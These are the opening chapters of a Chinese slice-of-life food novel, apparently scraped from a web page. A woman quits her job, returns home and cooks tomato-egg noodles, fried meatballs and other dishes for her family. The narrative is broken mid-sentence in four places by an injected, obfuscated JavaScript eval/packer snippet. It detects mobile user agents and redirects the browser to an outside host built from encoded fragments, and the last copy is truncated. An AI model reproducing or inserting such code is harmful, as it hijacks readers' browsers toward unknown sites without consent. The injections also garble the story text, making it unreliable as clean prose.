《在小区摆摊之后发家致富（美食）》 1. 番茄鸡蛋面 拉着行李箱走在走廊，宋鑫感谢国家，感谢物业，她家这个老小区也是装上了电梯。 想着昨天下午的场景，她心里是又爽又有些茫然，自己就这样成为无业游民回家了。 宋鑫在半年前刚刚大学毕业，作为一名应届毕业生，她很顺利的找到了一份专业对口的工作，唯一的缺点就是离家远，不过这边又是她大学所在的城市，在这里待了四年，也还好。 但是工作半年之后，宋鑫发现这份工作不止这三个缺点，它完美踩中了钱少事多离家远三条线，除此之外，从顶头大boss到上层小组长，一个比一个会画饼，一个比一个能PUA下属。 昨天下午，领导又开会，听着老板画了一个又一个饼，宋鑫觉得大boss这个饼画的比自己学美术的表妹画的还要圆，还要大，还都吃不到。 这个她就忍了，马上就要过年了，要不是为了年终奖，宋鑫才不会在这里苦熬，结果她听到了什么！ 老板说今年利润不好，没有达到预期，希望今年大家一起共渡难关，等明年好好努力，年终奖翻倍，所以，今年的年终奖就没了。 毫不夸张的说，宋鑫听到这番话，人虽然还在会议室里坐着，但魂已经飘走好一会儿了，老板还在说什么她已经听不到了。 满脑子都是年终奖没有了！ 天知道她从九月份就想跑路，就是因为这个众所周知的年终奖在这里吊着，才一直勤勤恳恳干活，结果现在和她说没有了？ 这一定还是梦，她还没有睡醒吧。 狠狠掐了自己一把，很疼，宋鑫坐直身体，掏出手机，开始翻找当初签订的劳务合同，试图找到合理得到年终奖的方法。 结果发现还是自己当初太年轻，合同上面没有一个字涉及到年终奖。 行吧，接下来的场景早有预料，宋鑫当场顶撞领导，当场辞职，还没有到下班的点，流程已经走完了，说个地狱笑话，这是宋鑫走流程走的最快的一次。 冲动离开的宋鑫已经不想回想离谱的公司离谱的老板了，这个工作唯一的好处就是给她带来了两个一起吃瓜的同事。 就在今天早上，她们还和宋鑫说着老板又以她作为反面案例开会了。 宋鑫：这破公司，吃药要完。 同事：+1 说这话的时候宋鑫已经坐上了回家的高铁，卸去了长久的压力，也不会有人半夜打电话说工作上的事情，久违的好觉让宋鑫神清气爽，从人型怨气制造机又变回了那个青春活泼的女生，就是健康程度和半年前差了不是一星半点，工作误我，早上对着镜子，看着眼下这半年积累下来的黑眼圈，宋鑫想到了这四个字。 今年过年比较早，才一月初，高铁上就已经挤满了回家过年的人。 宋鑫辞职这件事就是长久的压抑加上一时的冲动，她昨天晚上就和家里打电话说了这件事，得到了父母的支持。 她爸宋志明直接说道，“家里也不差你这口饭吃，这半年辛苦你了，回来好好过个年，再看看想做什么，不着急，慢慢来。” 李云华也在一旁安慰宋鑫，并声明等宋鑫回来，可以让她好好尝尝自己的手艺，到时候可以好好给宋鑫补一补。 听到李云华女士的这番话，宋鑫感到了恐慌，想起高三那一年，她妈也是这样说的，她到最后没有受到什么伤害，毕竟不能拿国宝高三生作为试验品。 可是她爸，宋志明可惨了，李女士的失败作品全都进了老宋胃里，不是说不好喝，因为李女士沉迷炖汤，认为有营养，这个东西也不难做。 就算难喝，也就是刚开始难喝了一点，后来就是很奇怪，对，就是奇怪的味道，说不上来，就像奇怪的咳嗽糖浆一样，都是宋鑫欣赏不了的东西。 想起那个味道就觉得喉咙发紧。 她大学和工作的城市离家不算很远，高铁两个小时都不到，她早上出发，现在到家才十点半。 今天是周六，对的，她前公司周六动不动就要加班，根本没有任何重要事情！ 宋志明和李云华说去接宋鑫，被她拒绝了，家里离车站又不远，上大学的时候回家都不用父母接了，她也没有多少行李，大部分东西都被她打包寄回来了。 现在站在家门口，宋鑫突然有一种近乡情怯的感觉，这是她第一次这么久没有回家，原本国庆可以回家的，结果国庆的时候狗公司安排加班。 说多了都是泪，想想这半年，宋鑫都不知道自己怎么过的。 拿出钥匙，开门的时候宋鑫还在感慨，结果门一打开，闻着家里不对劲的味道，她飞速放下行李箱，鞋子都来不及换，马上跑到厨房，先把火关掉了。 接着她才回去换鞋，看着还在厨房呆滞的两人，她收拾好进了厨房，她们家当初装修时，因为她，厨房挺大的，三个人站在里面也不拥挤。 宋鑫在进门之前刚升起的一点感慨现在消失的干干净净。 宋志明的造型已经让宋鑫无奈，全身捂得严严实实，从帽子口罩到围裙手套，一个没落下，李云华相比较他，还多了透明的面罩。 “可以说一下你们在做什么吗？我亲爱的爸爸妈妈。”宋鑫的表情很温柔，可语气已经充满了杀气。 “哈哈哈哈哈，我们在做，我们在做什么呢。”李云华率先回答了宋鑫的话，可语气飘忽，“老公，你说呢，我们在做什么呢。” 宋志明刚把手里的漏勺放下，闻言也是恍恍惚惚。 宋鑫看了看他们两个，叹了口气，准备先把厨房收拾一下，现在的厨房让人无处下手，先把被放的七零八落的调理收拾好吧。 看着宋鑫开始收拾东西，宋志明和李云华也上前帮忙，虽然不会做，但很会收拾的两人加入之后，收拾的速度陡然像开了三倍速。 “所以你们是想给我一个惊喜，并且提前准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495466|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些过年的东西，就造成了我刚回来的那副场景吗？”宋鑫的语气中有三分犹豫三分怀疑，还有四分的不可置信。 要是她再晚回来一会儿，那个满满的油锅都要溢出来了，虽然他们两个防护工作做的很到位，但是，这个惊喜，有惊无喜。 把他们两个好好说了一通，看着已经把自己收拾好，坐在对面低头乖乖认错的两个人，还有稍微收拾整齐了一点的厨房，宋鑫无奈，“今天中午吃什么？” “吃面，出门饺子进门面，我们早上去菜市场已经把面条买来了。”宋志明和宋鑫说着，冰箱里还有他们买好的配菜。 “本来还想中午可以做一个四喜丸子呢，可以配面吃。”李云华也小声说着。 宋鑫看了看冰箱，很好，有番茄有鸡蛋，“我们中午就吃番茄鸡蛋面吧。” 难度高的菜两人做不了，长年累月在宋鑫的影响下，这种简单好吃的菜还是轻轻松松。 听到宋鑫说要吃这个，连忙让宋鑫去歇一歇，他们来做午饭，这么一会儿的时间，已经十一点多了。 等都坐上饭桌开始吃番茄鸡蛋面，已经十二点了。 宋鑫吃了一口裹满了番茄炒蛋酱汁的面，菜市场那家手工面做的真不错，筋道好吃，这个番茄炒蛋也不错，是家里的味道，番茄炒蛋配面条，就要吃咸口的，配米饭才要吃甜口的。 “离过年还早着，你们怎么这个时候想起来备年货了，还是炸肉丸。”说出炸肉丸三个字，宋鑫的表情都是扭曲的，那盆肉馅和那锅油加起来，要是能炸出来肉丸，她名字以后倒过来念。 暗暗出主意的李云华吃完自己嘴里的面，“那不是年年都是你做，今年想着你上班辛苦了，我们两个做一下嘛，让你回来歇一歇。” “心意领了，以后别做了。”宋鑫也无话可说，心是好的。 “我和你爸早上六点就去买肉了，那个肉可新鲜了。”李云华嘀咕着。 “没事，我下午来炸，你们给我打下手。” “好的，保证完成宝贝女儿的任务~”李云华答应的很快，打下手这个活她和宋志明已经干了十来年了，从宋鑫还是小豆丁的时候，就开始给她打下手。 也不知道宋鑫哪来的天赋，李云华也很奇怪，明明她和宋志明的厨艺平平，说平平都是对他们的夸奖了，宋鑫在这方面特别有天分。 在别的小孩还在玩泥巴的时候，宋鑫已经开始玩面团了，并且玩的相当不错，出去吃顿饭，也能把每道菜用的调味料吃出来。 等再大一点，她能够接触灶台，厨艺上涨突飞猛进，导致每年宋鑫开学，李云华和宋志明都需要重新适应单位食堂，明明食堂也不难吃，可就是味同嚼蜡，每次都需要适应半个月。 吃完饭，宋鑫就准备去做炸肉丸，被父母阻止了，“刚吃完饭，再歇一歇，等会儿再做，我把那些东西都放冰箱里了，也不会坏，不着急。” 2. 炸小肉丸 宋鑫也没有去收拾自己的东西，反正需要用到的东西家里都有，不如等快递把自己所有的东西送到，到时候再一起整理。 坐下歇了一会儿，她就进了厨房，这时候的厨房已经被宋志明李云华两人收拾的干净又整齐。 宋鑫从冰箱里把肉馅拿出来，把需要用到的工具备好，重要的就是那个大漏勺，看着这个盆里的肉馅，宋鑫眼前一黑又一黑，再想到李云华说要做四喜丸子。 她的头上有很多问号，这个肉馅，炸大丸子，这么肥，不敢相信，宋鑫把盆放在台面上，忍不住闭上眼，希望眼前的东西是幻觉。 可惜一切都是真实存在的。 行吧，宋鑫决定先尝一下这个肉馅的味道，看看还需不需要再加一些调料，她熟练地从柜子里找出一个平底锅，用小勺子取出一小团肉馅。 开火，直接放进锅里煎了起来，这时候宋志明也过来了，李云华在厨房外，等着替补，这是老规矩了，宋鑫一般只要一个打下手的人，人太多了，反而添乱。 再加上李云华看着宋鑫在尝自己调的肉馅，后知后觉对自己没有一点自信的李云华决定这次还是在外围帮忙吧。 她可以提供后勤服务，准备了各种水果，在一一剥皮切块。 厨房里面，平底锅里的小肉饼已经熟了，滋滋冒油，竟然奇异的诱人，宋鑫尝了一口，只能说，肉是好肉，确实新鲜，但味道只能说有肉味。 吃半口就腻的人发慌，这还是煎的，更不要说炸成大丸子了。 叹了一口气，宋鑫把剩下的半块煎肉饼吃完了，不能浪费，真的好腻！ 虽然肥肉多，但大概还是肥五瘦五，不是太离谱，加上调味，炸成小肉丸，把里面的油脂逼出来，会好很多，刚刚看到家里还有大葱，多切一点加进去。 给宋志明安排好切葱的任务，宋鑫看着那一大锅油，取出一部分，只留下六分满的油，在家里，还是用的燃气，要注意安全。 她实在是被这满满一大锅油搞怕了。 “鑫鑫，葱好了，直接放进盆里吗？”宋志明举着切葱的刀问她。 宋鑫看到，忍不住说道，“爸爸你先把刀放下，我来放就行了，你也出去坐一会儿吧，现在没什么事情了。” 说着，宋鑫先把刀从宋志明手里拿出来，又把他推出了厨房，“你们两个先看会儿电视吧，等会儿就好了。” 接着宋鑫进去厨房，并且关上了厨房的门，隔绝父母的视线是次要的，最主要的是等会儿要炸东西，即使油烟机开到最大，也会有油烟飘到客厅，落在各个地方，难以清洗。 她把大葱加到肉馅上面，接着又加入各种调味料，感谢亲爱的妈妈，不会调味就不调味的决定真的再合适不过了。 现在就方便了宋鑫，可以随意调味，为了压住肥肉多的油腻感，她糖都加的少了，加好调料，开始给油加热。 等待的过程中，宋鑫不停地搅拌肉馅，其实这个肉馅如果肥肉少点，可以做很多东西，包饺子馄饨，做馅饼肉盒，都是可以的，即使是这样，也可以做很多东西，不过这锅油都放在这里了，还是炸了吧，反正也会好吃的。 宋鑫对自己的厨艺就是那么自信。 油温到了，宋鑫把新拿出来的一个大盆放在一边，里面还放了一个沥油网，等会儿放炸好的丸子。 接着就是宋鑫的炫技时刻，可惜没有观众，她一个接一个，手上的动作让人眼花缭乱，让人还没有反应过来，第一锅需要放进去炸的丸子就全进锅里了，此时正在锅里滋啦冒泡。 没多久，在客厅看电视的夫妻俩就坐不住了，本身两人的心思就没在电视上面，此时闻着从厨房隐隐约约传出来的香味，更是坐立难安。 为什么俩人爱在厨房给宋鑫帮忙，一是不舍得什么都让女儿做，所以宋鑫在家里做饭，一般是只负责做的这部分，后续的洗刷打扫全都不负责。 而另一方面就是厨子可以尝味道，在厨房帮忙可以吃到最新鲜的第一口，只是闻到一点点香味，两个人记忆中关于宋鑫牌炸肉丸的味道正在慢慢复苏，袭击他们的味蕾，李云华觉得自己口水都要流出来了。 现在的香味倒是不明显，可是结合以前的记忆一起，就会让人很馋，非常馋，她看了看坐在自己左边的宋志明，他都要站起来了，不时坐直身体向厨房张望。 盼望宋鑫能在这时候出现，给他们一大盘炸小肉丸，可惜这是不可能的，宋鑫还在炸第一遍，等会儿还要复炸一遍呢，要不然外壳没有那么酥脆，吃着也会油腻一些。 宋鑫就这样炸着，慢慢的，大盆里炸好的小肉丸越来越多，直到堆出一个小尖尖，宋鑫也把火调大，让油温升高，准备复炸。 等到全部复炸完成，已经下午三点了，炸了将近两个小时，宋鑫在炸小肉丸的时候还把窗户打开了，此时这个味道已经在家里家外传遍了。 毫不夸张，楼道里都飘着炸小肉丸的香味，她们这栋楼的业主群里已经刷过了无数条消息。 “太香了，大周末的，谁家在炸年货，这离过年还早着呢。” “我不求多，只想着吃一口，好香啊。” …… “我怎么觉得这种状况让人这么熟悉呢。” “@宋家老宋，你女儿是不是回家了？！” 同样馋到不行的宋志明看到了群里的消息，但是他现在无心回复，因为宋鑫打开了厨房门，端着一盘炸小肉丸出来了。 毫不夸张的说，这盘炸小肉丸，只看外表，就是可以在饭店卖出高价的炸货，为了解腻，她在旁边还配了番茄酱和烧烤料。 宋鑫这次做的炸小肉丸，因为肉馅的原因，炸的比较小，一个只有原来的一半大，要是太大了，中间肥肉也会很多，这样刚刚好。 由于火候到位，调味加分，吃起来不仅不腻，要开酥脆的外壳，里面还有肉汁在，外酥里嫩，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495467|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用蘸料，宋志明和李云华一口一个，很快就把一盘吃完了。 解了馋，宋志明才想起来回复楼上邻居的消息，“是啊，鑫鑫回来了。” 群里的老邻居看到消息，都觉得自己遭到了晴天霹雳，天杀的，老宋家的厨神回来了，本来以为她今年工作了，过年就不用忍受香味攻击，没想到竟然回来了。 也有脑袋转的快的邻居，以前是因为宋鑫年纪小，还在上学，如果总是上门购买，怕影响孩子学习，如果不花钱，那更不合适了。 现在宋鑫已经毕业工作了，那自己去买一点也不是不行吧。 抱着这个想法的邻居还不少，宋鑫炸好小肉丸就去洗澡了，等她收拾好，就看到李云华拿着手机过来了。 “鑫鑫，你看你李阿姨赵阿姨她们都想要买一些炸小肉丸。”李云华的声音还没有落下，宋志明也紧跟着说道，“你王叔叔周叔叔孙爷爷他们也都想要买一些。” 宋鑫听完，又看向厨房里面被俩人吃到不到一盆的炸小肉丸，“你们确定？”语气犹疑。 反应过来这些可能都不够他们两个吃的，更别说俩人还想给各自的父母送一些，这个炸小肉丸不管是空口吃，还是炖菜煮汤，都很好吃。 这么多人，给谁不给谁，更不要说定价了，都很麻烦。 看着父母还在那里思考，宋鑫直接说道，“要不你们一人送一碗好了，你们炸货吃多也不好，上火。” 行吧，这也是一种解决办法，两个人分头行动，还好来问的人不多，要不然真的会哭，宋志明和李云华两个人对视一眼，表达了同样的想法。 等到全部送完，再把给双方父母的分出来，就只剩下小半盆了，且吃且珍惜。 她们在家珍惜的时候，不知道楼下新搬来的邻居因为睡梦中闻到了香味，硬是从睡梦中醒来，在家里到处闻了一遍，又出门闻这个味道到底是从哪里冒出来的，这么霸道的香味！ 可惜她醒的太晚，这个时候，宋鑫她们一家已经出门，家里也都收拾好了，味道淡了很多。 直到彻底清醒打开手机，这个邻居才知道发生了什么，她搬来的这半年恰巧是宋鑫不在家的半年，没有经受过美味暴击，这是第一次，通过其他老邻居的科普，她才知道以后这种日子多的是。 想到这种可怕场景，这个邻居暗下决心，以后一定要把家里的窗户都关好！ 不过，看着群里的消息，她又有了一点新想法，不知道这位素未谋面的邻居会不会愿意给人做饭，或者摆摊开饭店之类的呢。 不过也有可能人家工作干的正好，也不一定愿意做这个。 可是她做的饭好香，呜呜呜呜呜~ 已经来到姥姥家里的宋鑫不知道楼下新邻居的想法，“姥姥，我来啦~” 一看到李姥姥，宋鑫上去就是一个拥抱，“想没想我啊。” “当然想你，快进来，姥姥给你留了好多好吃的。” 3. 烤红薯 宋鑫她们一家来之前就和姥姥姥爷打电话说了，所以宋鑫跟着李姥姥走到客厅，就看到桌子上摆着一大盘糖果。 李姥姥爱吃糖，也会自己做一些糖，宋鑫最喜欢姥姥做的脆松糖了。 脆松糖是李姥姥老家的一种特产，后来远离家乡也没有落下这门手艺。 宋鑫吃了一口，还是熟悉的味道，里面的松子烘烤的恰到好处，吃起来酥脆香甜，还不粘牙，自带一股松子的香味。 “好好吃，我在外面可想这一口了。”宋鑫坐在李姥姥旁边，边吃边撒娇。 “鑫鑫吃这个，姥爷特地去给你买的。”在厨房忙碌的李姥爷拿着一个小碗出来了，里面是一个大鸭腿。 宋鑫一看就知道是街角那家店里的，据说店的年龄比她还大，现在的老板是之前老板的女儿，宋鑫觉得她至少学到了父母八成的手艺，剩下的火候之类的都需要时间去练习。 这家店的酱鸭特别好吃，宋鑫一家不管是谁，只要来李姥姥这边，一定要买一只带回去，就是有时候买不到，因为数量有限。 不知道其他人爱吃哪个部位，宋鑫很爱她家的酱鸭腿，没有一丝异味，处理的也很干净，肉质紧实，甜咸口，既可以空口吃，也可以烤一下，是不一样的风味。 和李姥姥说了一会儿话，又把鸭腿吃完，宋鑫想要进厨房帮忙，被李姥爷赶了出来，厨房里就是宋志明在给李姥爷打下手，李云华来回端菜。 “哎呀，爸，你们怎么准备这么多菜，我们五个人怎么吃的完。”李云华端了几趟菜，发现餐桌上已经摆满了。 李姥爷还没有说话，李姥姥就不乐意了，“我大外孙好不容易回家了，给她吃点好的怎么了，得亏你是亲妈呢。” 李云华无奈，看向一边偷笑的宋鑫，“我不说话了，远香近臭啊。” “快收拾收拾吃饭吧，别在那里磨嘴皮了。”不等李云华再说什么，李姥姥去厨房看了看，菜都做好了，可以吃饭了。 宋鑫觉得她妈说的真对，这一桌超级丰盛，也够她们五个人吃三顿，等会儿要努力多吃一点。 “这个菜真好吃，爸你是不是又去进修了。”宋志明夹起一筷子炒青菜赞不绝口，听到他的夸奖，李姥爷很开心。 不过也解释道，“这和厨艺没有多大关系，纯粹是买到好青菜了，这可以霜打过的，更清甜，我今天早上在路边看到一个人在卖这个青菜，品相不错，就买了一大包，回头你们拿走一点，味道真好。” “怪不得，我刚刚吃着这个青菜更甜一些，还以为你往里面加糖了呢。”李云华女士还是这么语出惊人。 听着他们对炒青菜的夸赞，宋鑫也夹了一筷子，吃到嘴里就知道宋志明为什么感到惊艳了，她吃到嘴里也是同样的感觉，即使火候没有那么到位，盐加的有一点少，可是吃起来就是好吃，清脆爽口，吃几口肉，再吃一口青菜，味蕾都得到了净化。 最后，这一盘青菜在中途就被光盘了。 等宋鑫吃到七分饱减慢速度的时候，加入了大人的闲聊，听着他们说起最近发生的事情，虽然都是生活琐事，也很有趣。 大家都刻意避开了宋鑫的工作问题，在这方面，李姥姥和李姥爷都和宋志明李云华保持一致的意见，那就是过完年再说，孩子辛苦半年了，不着急，要慢慢寻找自己喜欢的事业。 “对了，李谈最近怎么样，我听我哥说他最近也很忙。”李云华说着想起了自己侄子，她还有个哥哥李云然，在另一个区居住。 李姥姥想了想，“他最近是挺忙的，前段时间因为一个高三的老师生病了，他最近在帮人代课。” 带高三啊，那是挺忙的，宋鑫想一下，就知道为什么这段时间她哥这么安静了，估计被折磨的不清，本来都快放寒假了，结果又被安排了一项工作。 同情他.jpg 等自己有时间可以去探望他一下。 就这样说说话，很快宋鑫她们就要回家了，冬天的夜晚也来的格外早。 回到家里，先把打包回来的一些卤味腊味放进冰箱，刚刚坐下，宋鑫就接到了奶奶的视频邀请，她同意之后，就看到了戴着老花镜的宋奶奶。 都知道她今天回家，因为距离李姥姥稍微近一些，他们就决定今天去姥姥那儿，明天再去奶奶那边吃午饭。 “鑫鑫你现在是在家啊，明天别忘了来奶奶这里，奶奶给你做糖醋排骨吃。” “好~我明天起床就过去。”宋鑫乖乖回着宋奶奶的话，哄的屏幕那边的宋奶奶哈哈大笑。 又和宋奶奶说了一会儿话，看着奶奶已经在犯困了，熟悉她作息的宋鑫赶紧让她先去睡觉了，坐在宋奶奶旁边的宋爷爷一句话也没有和孙女说上。 挂了电话，看着宋奶奶高兴的样子，“某些人很高兴啊，不知道是不是忘了什么，鑫鑫就是你一个人的孙女啊。” 他的话惹得宋奶奶哈哈大笑，困意都消了几分，“这个醋你还吃啊，明天鑫鑫就过来了。” 宋爷爷想说‘知道鑫鑫明天就过来了，那你今天还占着手机不让我说话’，但想了想，说出去显得自己很小气爱吃醋，连老伴的醋都吃，很说不过去，最后自己别扭的背过身睡去了。 留下宋奶奶想笑不敢笑出声，怕宋爷爷恼羞成怒，回头不理自己了。 挂了电话，不知道爷爷奶奶家里发生了什么事情的宋鑫，透过窗户看着悬挂在墨蓝色天空上的月亮，“爸爸妈妈，我想出去散步~” “走嘛走嘛，我们一起去，刚刚在姥姥那儿吃的我现在都没有消化呢。” 听到宋鑫这么说，李云华看了下时间，九点多了，这么晚了，一家三口一起下楼吧。 “不过这么晚了，我们就在小区里转一转，不去外面了。” 宋鑫爽快点头。 “嘶----，好冷。”宋鑫忍不住把帽子戴上，家里的温度还是要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495468|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低一些，她之前晚上加班，下班的时候都十一点多了，也没有感觉这么冷。 不过寒冷也阻挡不了宋鑫的兴奋，她踩着路灯的影子，和父母走在一起，仿佛回到了小时候，无忧无虑。 “鑫鑫啊，不要担心以后，你健康快乐最重要。”温柔注视着宋鑫的李云华先开口了，有了第一句话打底，后面的话说出来就会轻松一些。 “爸爸妈妈不要求你有什么大出息，我们会一直爱你，一直在你后面，在你回头就可以看到的地方，不要害怕，想做什么都可以，不知道做什么也没关系，人生需要暂停，好好歇一歇也不错。” 宋志明就在一旁疯狂点头，李云华说的话是他们两个想了很久的，不是在昨天宋鑫说完辞职就想到的，事实上，就算现在宋鑫不辞职，他们也准备趁着这个过年劝一劝她。 宋鑫也一直在思考，从忙碌中突然停下来，她也很茫然，一下不知道自己该做什么，能做什么。 听了李云华说出的话，她走到父母中间，挽住她们，“我知道啦，我不会着急的，你们不要担心，我没事。” 一家人在零下的天气里继续走着，把想说的话语都说完之后，三人走在一起更加温馨。 “咦，烤红薯的味道，好香。” 宋鑫隐约闻到了一股烤红薯的香味，这种味道在她上学的冬天每天都可以闻到，她晚上下了晚自习，也会去买一个烤红薯，一边暖手一边吃，吃完就到家了。 这种烤红薯不能挑大个的，但是太小的也不好，大个的容易烤不透，外面已经有点糊了，最里面的红薯芯还有些硬，小个的很容易烤透，但太小的也容易糊，还不够吃。 要挑选个头微微偏小的那一种，如果有一点点流蜜，又没有糊掉，是最好吃的，吃完一个也很满足，意犹未尽。 越往前走，这个香味越重，宋鑫发现她们三个竟然已经走到了小区的另一个大门这儿，烤红薯的摊子就在门口。 在宋鑫有些犹豫要不要买一个的时候，主要是晚饭吃的太多，现在还很撑。 恰好有人路过买了一个烤红薯，看起来也是一个会吃的，挑出来的就是宋鑫很喜欢的那种，那个人付完钱当场就吃了起来。 随着老板把烤红薯的炉子打开，宋鑫就以她极好的视力看到了里面剩下的烤红薯，还有随着炉子打开冒出来的热气。 伴着香甜的味道，让人忍不住想象，在这个天气吃上一口美味的烤红薯，该是多么幸福的事情。 在看到路人把烤红薯掰开那一刻，宋鑫就忍不了了，她冲到门口，“老板，给我拿两个烤红薯！” 她不仅要买，还要买两个，刚刚她已经问过宋志明和李云华了，他们两个吃一个就行了，晚饭吃的太撑了。 宋鑫仔细挑选了两个烤红薯，感受着手上传来的热气，给父母一个，迫不及待把剩下一个剥了皮慢慢吃起来。 果然和她想的味道，甜蜜好吃。 4. 白糖桂花 美美睡了一觉，宋鑫醒来神清气爽，一看时间，九点半，她已经很久没有一觉睡到自然醒了，就是在周末休息的时候，也会按照生物钟先醒一次，接着再睡回笼觉。 果然没有压力的时候，睡觉都变得轻松起来。 起床一看，宋志明和李云华已经起床出门了，给宋鑫留了字条，让她起床先吃早饭，他们两个大概十点到家，到时候一起去宋爷爷宋奶奶那里。 宋鑫去厨房找自己的早饭，微波炉里放着两个包子，电饭锅里还有粥，她一边加热包子，一边查看冰箱，看看有什么小菜可以配着吃。 “找到了！”她从冰箱里拿出了一瓶酱黄瓜，只看瓶子，宋鑫就知道这个绝对是她奶奶做的，味道有保障。 把所有的东西准备好，宋鑫就准备开动了，却接到了一个快递电话。 “喂，您好，是宋女士吗，家里有人吗，您的快递今天就要送到了，请问您对时间有什么要求吗？”手机另一边传来快递员的声音。 宋鑫为了省事，把出租屋里的东西想带回来的全都打包走了快递，剩下的就送人了，辞职当天晚上收拾好，昨天一大早就寄出来了。 她想了想，“下午五点左右送来吧。”这个时间她应该从奶奶家回来了。 “好的。” “谢谢。” 挂了电话，宋鑫一口酱黄瓜，一口粥，一口酱黄瓜，一口包子，在酱黄瓜的配合下，平平无奇的白粥和皮厚馅少的包子都好吃起来。 宋鑫又吃了一口包子，最后两个包子剩下了一个，她觉得父母堕落了，为什么会买到这么不好吃的包子，还好是素馅的，勉强可以吃。 她看着盘子里另一个包子，觉得也不要那么勉强自己，反正还没有动，谁买的归谁好了，她们家为了不浪费食物，谁要是买到不好吃的东西了，只要这个食物没有品质问题，一般剩下了就是谁买的归谁，公平合理。 她刚把碗筷洗刷好，宋志明和李云华就回来了，看到宋鑫在厨房，宋志明格外高兴一些，他看了看厨房，没有看到剩下的包子。 语气难掩兴奋，“哎呀，鑫鑫，你把饭都吃完啦，那我们收拾收拾就去爷爷奶奶那里。” 宋鑫不用猜了，包子肯定是宋志明买的，至于为什么买这家，八成原因是新开的店，便宜，可以存私房钱。 虽然宋鑫不理解，宋志明同志从她小时候到现在，一直孜孜不倦地存私房钱，但是李女士给他的零花钱也不少，每个月绰绰有余，他还是爱这么干，被她奶奶，宋志明亲妈锐评，就爱搞刺激那一套。 而且他这些私房钱最后又给家里人买东西了，时间一长，李云华和宋鑫都习惯了，他高兴就好。 “没有吃完，还有一个包子，我吃不下了。”说到包子，又想起那个味道，宋鑫使劲盯着宋志明，宋志明不好意思地打哈哈。 “哈哈哈哈，这样啊，要不你等会儿吃。” 宋鑫已经走出厨房了，她回头看着宋志明，对上对方满怀期待的眼神，“不吃了，谁买的谁吃吧，我吃不下了嘿嘿。” 行吧，宋志明仰天长叹，不就是新开的店五块钱五个大包子嘛，他可以吃。 拿上要给宋爷爷宋奶奶带的东西，一家三口出发了。 宋奶奶住的地方和李姥姥那边差不多，因为年级大了，都是住在一楼，后面有一个大大的院子。 到了地方，宋鑫刚下车，还没站稳，就被一个人扑了上来，宋鑫一个趔趄，是宋薏，就是宋鑫那个学美术的妹妹，现在正在读紧张的高三。 是宋鑫姑姑宋月的女儿，自从宋鑫小时候，宋月和宋鑫的姑父因为性格不合离婚之后，宋月直接在宋爷爷宋奶奶附近买了房子，宋薏很多时候都是跟着宋爷爷宋奶奶长大的。 当然，由于父母工作的原因，宋鑫小时候也没少被爷爷奶奶，姥姥姥爷带着长大。 “姐，我好想你啊！” 宋鑫先把人从自己身上拿开，“我这不是回来了吗，你是想我还是想我做的饭。” 宋薏眼珠子一转，“当然是想——” “想好再回答，我还带了昨天在家做的炸小肉丸。” “肯定是想你，你可是我最亲爱的姐姐啊，我最最最想你了，最多有一点点想你做的饭。”宋薏用手指比划了一点点。 宋鑫抬头，“我就知道，你还是馋我做的，唉，令人寒心呐。” 和宋薏贫了一会儿嘴，宋鑫才想起来自己最开始的疑惑，“你不是还没有放寒假吗，今天怎么在家。” 宋薏拿出手机，“今天是周日啊，高三生也需要休息！” 从她掷地有声的语气重，宋鑫感受到了她这半年学习的痛苦。 “哈哈哈哈哈，我一下子忘记了嘛，还有我当年上学的时候，高三休息特别少，没有想到。”宋鑫还真不清楚现在的高三生是怎么休息的，反正她当年休息时间真的很少，大家特别卷，身在其中，不努力都觉得痛苦。 和宋薏一起进了宋奶奶家里，宋爷爷在厨房忙的热火朝天，宋奶奶在里面打下手，看到宋鑫，宋奶奶也不管厨房的事情了，直接冲了出来。 “奶奶看看，我们鑫鑫都瘦了，在外面吃苦了。”宋奶奶上来摸着宋鑫心疼地说。 宋鑫有点不好意思，其实还好，因为上班压力大，她一点都没有委屈自己的嘴，夜宵火锅小烧烤，一个也没有少，平时还要喝奶茶。 可是有一种瘦，叫奶奶觉得你瘦，吃饭的时候，宋鑫感受到了甜蜜的苦恼，被人心疼也是负担呐，看看碗里的肉吧。 最后终于吃完碗里的菜，宋鑫后背都吃出汗了。 下午又和宋爷爷宋奶奶一起聊天，还和宋薏出去看了一场电影。 看完电影，宋鑫和宋薏两个人在附近转了一圈，可能因为城市不是特别大，家里这边的年味比宋鑫工作所在的城市要浓郁很多。 即使离过年还有大半个月。 宋鑫现在的心态很轻松，她也感受到了宋薏的压力，便带着她逛了逛周围的小摊，在商场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 